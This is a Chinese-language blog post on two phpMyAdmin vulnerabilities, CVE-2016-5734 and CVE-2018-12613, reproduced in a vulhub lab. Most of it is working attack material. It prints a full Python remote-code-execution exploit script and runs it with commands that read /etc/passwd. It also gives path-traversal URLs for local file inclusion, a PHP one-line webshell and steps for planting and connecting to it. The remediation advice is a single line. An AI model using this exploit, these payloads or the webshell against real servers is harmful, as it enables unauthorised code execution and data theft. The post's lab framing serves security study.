phpmyadmin-相关漏洞详解

Phpmyadmin

phpMyAdmin 是一个以PHP为基础,以Web方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

优势:web端,便于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。


phpmyadmin远程代码执行漏洞(CVE-2016-5734)

漏洞原理:
  1. 首先了解一下php中的preg_replace函数

    #Php中的 preg_replace 函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。
    #例:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
    该函数的返回值:当$subject为一数组的情况下返回一个数组,其余情况返回字符串。
    匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject,发生语法错误等,返回NULL。
    
    参数说明:
    $pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。
    $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
    $count: 可选,为替换执行的次数。
    

    因为preg_replace函数中的$pattern部分指定的是要搜索的模式字符串,一般是正则表达式,而正则表达式中存在修正符。

    但是其中一个修正符 “/e”;在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。

    49

    可以看到,使用/e修正符的同时在 Subject 中成功匹配,replacement部分被当作php 代码执行。
    这个函数是CTF代码审计中的常客;

影响版本:

phpmyadmin4.3.0-4.6.2

漏洞poc
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)
操作环境:

kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2016-5734漏洞环境

攻击机:物理机

操作
  1. 开启相关漏洞环境(docker容器相关操作 不做赘述)

  2. 访问漏洞端口,漏洞搭建成功会看到一下phpmyadmin登录界面

    http://192.168.73.131:8080/

  3. 攻击机执行poc脚本,远程代码执行

    phpmyadmin默认账户、密码为:root、root

    参数:
    #-c 指定PHP 代码执行(这里未指定使用代码中默认的system(‘uname -a’))
    #-d 指定数据库名
    #-t 指定用户所创建的表名(这里未指定使用代码中默认的)
    结果显示:result的那一行
    
    python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('id')"
    

    python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('cat /etc/passwd')"
    

    python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('uname -a')"
    

修复建议

及时更新版本,Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了。


CVE-2018-12613 --- 本地文件包含漏洞(可导致远程代码执行)

漏洞原理:
  1. 当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,造成文件被解析。此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

  2. 在index.php第61行中,开启了include选项

    这里的target可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。

影响版本:
  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1
POC
1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

2. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
漏洞环境:

kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2018-12613漏洞环境

攻击机:物理机

操作:
验证文件包含漏洞:

访问poc,读取了/etc/passwd文件内容,存在漏洞

http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

利用session文件远程代码执行
  1. 开启漏洞环境(vulhub漏洞靶场开启,略)

  2. 访问漏洞端口 192.168.73.131:8080

  3. 执行数据库查询语句,内容为php命令

    SELECT '<?=phpinfo()?>';
    

    其会在默认路劲tmp文件夹临时生成session文件,名称为sess_sessioin值。并且会将查询语句写入进去。

  4. 利用index页面的文件包含,执行payload

    http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
    

利用数据库写入shell,利用文件包含执行shell
  1. 把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的,在test数据库新建一个数据表,字段为一句话木马。

    <?php @eval($_GET['s']);?>
    

  2. 通过查询语句,生成session文件进行文件包含解析shell

  3. 蚁剑连接shell,因为是靶场的缘故,数据为空。理论上真实环境应该可以,只是权限不高

修复建议
  1. 更新版本
参考文档

https://blog.csdn.net/qq_34444097/article/details/85264686

posted @ 2020-06-29 21:22  admin刍狗  阅读(2639)  评论(0编辑  收藏  举报